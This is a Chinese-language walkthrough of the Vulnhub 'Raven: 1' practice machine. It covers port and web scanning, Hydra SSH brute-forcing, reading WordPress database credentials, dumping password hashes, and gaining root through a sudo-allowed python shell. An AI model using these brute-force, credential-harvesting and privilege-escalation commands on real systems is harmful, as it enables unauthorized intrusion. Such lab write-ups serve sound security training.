IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> Vulnhub靶机渗透之 RAVEN: 1 -> 正文阅读

[PHP知识库]Vulnhub靶机渗透之 RAVEN: 1

目录

Description

网卡信息

信息收集

主机发现

主机存活扫描

端口扫描

网站信息

网站首页

nikto 报告

service 页面

wordpress

渗透过程

SSH 爆破

Hydr 命令

进一步信息收集

查找包含Flag 的路径

数据库信息

查看数据库配置文件

登入数据库

查找用户

steven 登入网站后台

权限提升

切换steven 用户

查看sudo 权限

python 命令提权


靶机下载地址:https://www.vulnhub.com/entry/raven-1,256/

Description

Raven is a Beginner/Intermediate boot2root machine. There are four flags to find and two intended ways of getting root. Built with VMware and tested on Virtual Box. Set up to use NAT networking.

网卡信息

网卡信息说明
网卡模式NAT
MAC 地址00:0C:29:D7:3D:BA

信息收集

主机发现

主机存活扫描

NAT模式下启动kali,使用ssh远程连接到物理机windows10(方便一点)
nmap -sP 192.168.30.0/24,得知靶机ip地址为192.168.30.145

?

端口扫描

nmap -A -p- -sC -T4 -sS -P0 192.168.30.145 -oN nmap.A
(nmap默认会扫描使用频率最高的top1000端口,-p-就是扫描1-65535端口,nmap可以做漏洞扫描-sC,设置扫描速度-T4,nmap扫描速度有5档T1~T5,T1最慢,T4最快,-sS做SYN半连接扫描,nmap对目标进行扫描的时候一共有两步,第一步是确定主机是否在线,第二步再进行端口扫描,-P0是禁用nmap来判断主机是否在线,直接进行强扫,直接就发包)

发现开放了80端口和22端口以及111,53161端口

网站信息

因为其开放80 端口,我们访问其网页
在我们访问800端口的时候,网速很慢,此时就会产生疑问:我访问本地的靶机问什么速度会这么慢?因为前端页面需要去外网加载脚本。
那怎么看这个脚本呢?我们可以打开F12--网络,会发现一些网站没有返回值,所以会很慢

?这个问题解决不了,以为他会去外网去访问一些资源,这些资源由于国内访问不到,就会很慢

下面对网站进行指纹识别 ,用kali的whatweb

whatweb 是kali中网站指纹识别的工具,使用Ruby语言开发。whatweb可识别web技术,包括内容管理系统(CMS)、博客平台、统计/分析包、JavaScript库,Web服务器和嵌入式设备等

没发现什么

网站首页

http://raven.local/

?

nikto 报告

Nikto安装及使用

Nikto 是一款开放源代码的、功能强大的WEB扫描评估软件,能对web服务器多种安全项目进行测试的扫描软件,去寻找已知有名的漏洞,能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题,它可以扫描指定主机的WEB类型、主机名、特定目录、COOKIE、特定CGI漏洞、返回主机允许的 http模式等等。它也使用LibWhiske库,但通常比Whisker更新的更为频繁。Nikto是网管安全人员必备的WEB审计工具之一。

1. 快速入门

进行最基本的nikto扫描,你只需要指定目标的host(通过 -h 参数指定),也可以指定要扫描的端口号(通过 -p 来指定),默认是80

perl nikto.pl -h 192.168.0.1

2 多端口扫描

#扫描80,88,443三个端口

perl nikto.pl -h 192.168.0.1 -p 80,88,443

#扫描80~90共10个端口

perl nikto.pl -h 192.168.0.1 -p 80-90

┌──(root💀mi)-[~/tools/nikto/program]
└─# ./nikto.pl -h http://raven.local
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:         192.168.30.145
+ Target Hostname:   raven.local
+ Target Port:       80
+ Start Time:         2021-07-30 20:47:32 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.43). Apache 2.2.34 is the EOL for the 2.x branch.
+ Server may leak inodes via ETags, header found with file /, inode: 41b3, size: 5734482bdcb00, mtime: gzip
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting.
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-6694: /.DS_Store: Apache on Mac OSX will serve the .DS_Store file, which contains sensitive information. Configure Apache to ignore this file or upgrade to a newer version.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /wordpress/wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version usually matches the WordPress version
+ /wordpress/wp-links-opml.php: This WordPress script reveals the installed version.
+ /wordpress/: A Wordpress installation was found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wordpress/wp-login.php: Wordpress login found
+ 7954 requests: 0 error(s) and 19 item(s) reported on remote host
+ End Time:           2021-06-14 11:28:39 (GMT8) (67 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

看一下wordpress这个目录和/wordpress/wp-login.php:

?

?

service 页面

http://raven.local/service.html(我们是在/team.html,/service.html,/contact.php等一个一个试出来的)

右键查看源代码,ctrl+F搜索flag关键字

<!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->

wordpress

http://raven.local/wordpress/

用WordPress专门的扫描工具wpscan
命令:?wpscan --url http://192.168.30.145/wordpress/ -e vp,u
参数:-e就是枚举??? vp,u就是vulnerable plug,user就是含有漏洞的组件还有用户

?知道两个用户分别是steven和michael

由于知道用户,又在nikto报告中知道登录页面在/wordpress/wp-login.php
我们差的就是密码了,我们可以做爆破(先不考虑爆破)

看看能不能通过用户登录ssh:

?

说明Steven和Michael用户都可以登录ssh

乱写一个用户发现也可以登录:

?

?

渗透过程

SSH 爆破

Hydr 命令

建立一个user.dic里面写用户

hydra -L user.dic -P ~/tools/wordList/top_password.txt ssh://10.10.10.42 -vV -f -e nsr -o hydra.ssh

-f是碰到遇到正确密码就停止爆破,-vV显示详细信息
-e nsr 空口令,账号密码相同,密码反向都用上

发现? login:michael??????????????? password:michael

ssh登录:

进一步信息收集

查找包含Flag 的路径

$ find / -name "*flag*" 2>/dev/null(找到了一些含有flag的文件)

看到一个/var/www/flag2.txt

cat /var/www/flag2.txt:

michael@Raven:/$ cat /var/www/flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

?找到flag2

?

下面查看一下靶机开放的哪些端口号

尝试登陆数据库:mysql -uroot -p,要求输入密码

?我们知道这个网站是带数据库的,数据库密码肯定在网站的配置文件中

到/var/www/html下看看

WordPress作为一款开源的CMS配置文件的路径是固定的,是wp-config.php

数据库信息

查看数据库配置文件

cat /var/www/html/wordpress/wp-config.php

?

登入数据库

找到root的用户名密码,登陆数据库:

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');

查找用户

select user_login,user_pass from wordpress.wp_users;

mysql> select * from wp_users;
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
| ID | user_login | user_pass                          | user_nicename | user_email        | user_url | user_registered     | user_activation_key | user_status | display_name   |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
|  1 | michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael       | michael@raven.org |          | 2018-08-12 22:49:12 |                     |           0 | michael        |
|  2 | steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven        | steven@raven.org  |          | 2018-08-12 23:31:16 |                     |           0 | Steven Seagull |
+----+------------+------------------------------------+---------------+-------------------+----------+---------------------+---------------------+-------------+----------------+
2 rows in set (0.00 sec)

mysql> select user_login,user_pass from wordpress.wp_users;
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 |
| steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ |
+------------+------------------------------------+
2 rows in set (0.00 sec)

?

尝试查询md5 值

user_login

user_pass
stevenpink84

?

?

?

?

steven 登入网站后台

找到flag3,flag3{afc01ab56b50591e7dccf93122770cd2}

?

?

权限提升

切换steven 用户

su steven

查看sudo 权限

sudo -l

$ sudo -l
Matching Defaults entries for steven on raven:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
?
User steven may run the following commands on raven:
  (ALL) NOPASSWD: /usr/bin/python
$

steven可以用root身份,不需要提供root密码的情况下,去执行/usr/bin/python这个命令

sudo /usr/bin/python,这条命令敲下去之后,就可以以root身份去执行python命令,在执行期间,具有root用户权限
我们知道权限是具有传递性的!如果我们以root身份调用python命令,那么python就可以以root身份去调用bash,bash就具备了root权限

python 命令提权

sudo python -c 'import pty;pty.spawn("/bin/bash")'

$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@Raven:/home/michael# id
uid=0(root) gid=0(root) groups=0(root)
root@Raven:/home/michael#

?

发现flag4!拿到最后一个flag!

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-02 10:36:11  更:2021-08-02 10:37:19 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/5 8:17:41-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码